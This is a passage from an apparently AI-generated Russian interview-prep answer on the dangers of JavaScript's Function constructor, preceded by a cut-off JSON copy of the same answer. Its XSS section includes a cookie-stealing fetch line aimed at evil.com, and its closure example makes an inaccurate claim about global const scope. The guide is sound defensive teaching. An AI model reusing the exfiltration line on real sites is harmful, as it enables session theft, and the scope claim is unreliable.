\n```\n\n### 6. Потеря оптимизации JIT-компилятора\n\nJavaScript-движки (V8, SpiderMonkey) не могут оптимизировать код, созданный во время выполнения:\n\n```javascript\n// JIT оптимизирует это\nconst add = (a, b) => a + b;\nfor (let i = 0; i < 1000000; i++) add(1, 2);\n\n// JIT НЕ может оптимизировать это\nconst addDynamic = new Function(\"a\", \"b\", \"return a + b\");\nfor (let i = 0; i < 1000000; i++) addDynamic(1, 2);\n```\n\n### 7. Нарушение TypeScript и статического анализа\n\n```typescript\n// TypeScript не может проверить тип\nconst fn = new Function(\"return { name: 'John' }\");\nconst result = fn(); // type: any, нет типизации\n\n// Правильно\nconst fn2 = (): { name: string } => ({ name: \"John\" });\nconst result2 = fn2(); // type: { name: string }\n```\n\n### Редкие случаи, когда Function может быть уместна\n\n**Очень ограниченные сценарии**:\n\n1. **Математические калькуляторы** (только для контролируемого кода на сервере):\n\n```javascript\nconst calculateArea = new Function(\"radius\", \"return Math.PI * radius * radius\");\n```\n\n2. **Шаблонизация с известным кодом** (если шаблон находится на сервере):\n\n```javascript\nconst template = \"return name + ' is ' + age + ' years old'\";\nconst greet = new Function(\"name\", \"age\", template);\n```\n\n### Альтернативы Function\n\n| Случай | Вместо Function | Пример |\n|--------|-----------------|--------|\n| Условная логика | if/switch | `value > 10 ? a : b` |\n| Динамические объекты | JSON.parse | `JSON.parse(jsonString)` |\n| Фильтрация | Array методы | `arr.filter(x => x > 5)` |\n| Преобразование | map/reduce | `arr.map(x => x * 2)` |\n| Настраиваемая логика | Стратегия-объекты | `strategies[type](data)` |\n\n### Правило: НИКОГДА не используй Function с пользовательским вводом\n\n```javascript\n// ЗАПРЕЩЕНО - XSS уязвимость\nconst userCode = getUserInput();\nconst fn = new Function(userCode);\nfn();\n\n// ЗАПРЕЩЕНО - также опасно\neval(userCode);\n```\n\n### Итоговые правила\n\n1. **НИКОГДА не используй Function с данными от пользователя** (критическая XSS-уязвимость)\n2. **Function не имеет доступа к closure** — только к глобальной области видимости\n3. **Function очень медленна** — парсинг и компиляция каждый раз\n4. **Function не работает с CSP** — блокируется политикой безопасности\n5. **Function не оптимизируется JIT-компилятором** — теряется производительность\n6. **Function сложно дебажить** — непонятные stacktrace\n7. **Используй альтернативы**: условная логика, JSON, Array методы, объекты стратегий\n\n**Главное правило**: Если ты думаешь о Function или eval — найди другой способ. 99% случаев это неправильное решение.","dateCreated":"2026-04-02T22:02:30.198137","upvoteCount":0,"author":{"@type":"Person","name":"claude-haiku-4.5"}}}}
← Назад к вопросам

В каких случаях нельзя использовать конструктор Function

1.8 Middle🔥 191 комментариев
#JavaScript Core

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Конструктор Function: Когда его нельзя использовать

Конструктор Function — это встроенный объект JavaScript, который позволяет создавать функции из строк во время выполнения кода. Однако есть множество случаев, когда его использование категорически запрещено или крайне опасно.

Основной синтаксис

const sum = new Function("a", "b", "return a + b");
console.log(sum(2, 3)); // 5

1. Уязвимость для XSS-атак

Это САМАЯ ГЛАВНАЯ ПРОБЛЕМА. Если ты используешь Function с данными от пользователя, злоумышленник может внедрить вредоносный код:

// ОПАСНО
const userInput = "alert('hack')";
const fn = new Function(userInput);
fn(); // Выполнится вредоносный код

Пример реальной атаки:

// Пользователь вводит формулу для калькулятора:
// fetch('http://evil.com/steal?data=' + document.cookie)
const userFormula = getUserInput();
const calculate = new Function("return " + userFormula);
calculate(); // Отправляет cookies на evil.com

2. Проблемы с контекстом (closure)

Функции, созданные через Function, всегда выполняются в глобальном контексте, они не имеют доступа к локальной области видимости:

const x = 42;

// Не сработает
const fn1 = new Function("return x");
console.log(fn1()); // undefined (не видит локальное x)

// Сработает (использует только глобальное)
window.x = 42;
const fn2 = new Function("return x");
console.log(fn2()); // 42

// Правильное решение
const fn3 = () => x;
console.log(fn3()); // 42 (closure работает)

3. Проблемы производительности

Function парсит и компилирует код каждый раз при вызове:

// МЕДЛЕННО
for (let i = 0; i < 1000000; i++) {
  const fn = new Function("return " + i);
  fn(); // Парсинг и компиляция каждый раз
}

// БЫСТРО
for (let i = 0; i < 1000000; i++) {
  const result = i; // Просто значение
}

4. Отсутствие дебага и stacktrace

Код, созданный через Function, сложно дебажить. Stacktrace будет непонятен и покажет (anonymous) вместо имени функции.

5. Невозможность использования с Content Security Policy (CSP)

CSP запрещает динамический код по умолчанию:

<!-- Заголовок X-CSP -->
Content-Security-Policy: script-src 'self'

<!-- JavaScript код ниже не сработает -->
<script>
const fn = new Function("alert('Hi')"); // Ошибка CSP!
</script>

6. Потеря оптимизации JIT-компилятора

JavaScript-движки (V8, SpiderMonkey) не могут оптимизировать код, созданный во время выполнения:

// JIT оптимизирует это
const add = (a, b) => a + b;
for (let i = 0; i < 1000000; i++) add(1, 2);

// JIT НЕ может оптимизировать это
const addDynamic = new Function("a", "b", "return a + b");
for (let i = 0; i < 1000000; i++) addDynamic(1, 2);

7. Нарушение TypeScript и статического анализа

// TypeScript не может проверить тип
const fn = new Function("return { name: 'John' }");
const result = fn(); // type: any, нет типизации

// Правильно
const fn2 = (): { name: string } => ({ name: "John" });
const result2 = fn2(); // type: { name: string }

Редкие случаи, когда Function может быть уместна

Очень ограниченные сценарии:

  1. Математические калькуляторы (только для контролируемого кода на сервере):
const calculateArea = new Function("radius", "return Math.PI * radius * radius");
  1. Шаблонизация с известным кодом (если шаблон находится на сервере):
const template = "return name + ' is ' + age + ' years old'";
const greet = new Function("name", "age", template);

Альтернативы Function

СлучайВместо FunctionПример
Условная логикаif/switchvalue > 10 ? a : b
Динамические объектыJSON.parseJSON.parse(jsonString)
ФильтрацияArray методыarr.filter(x => x > 5)
Преобразованиеmap/reducearr.map(x => x * 2)
Настраиваемая логикаСтратегия-объектыstrategies[type](data)

Правило: НИКОГДА не используй Function с пользовательским вводом

// ЗАПРЕЩЕНО - XSS уязвимость
const userCode = getUserInput();
const fn = new Function(userCode);
fn();

// ЗАПРЕЩЕНО - также опасно
eval(userCode);

Итоговые правила

  1. НИКОГДА не используй Function с данными от пользователя (критическая XSS-уязвимость)
  2. Function не имеет доступа к closure — только к глобальной области видимости
  3. Function очень медленна — парсинг и компиляция каждый раз
  4. Function не работает с CSP — блокируется политикой безопасности
  5. Function не оптимизируется JIT-компилятором — теряется производительность
  6. Function сложно дебажить — непонятные stacktrace
  7. Используй альтернативы: условная логика, JSON, Array методы, объекты стратегий

Главное правило: Если ты думаешь о Function или eval — найди другой способ. 99% случаев это неправильное решение.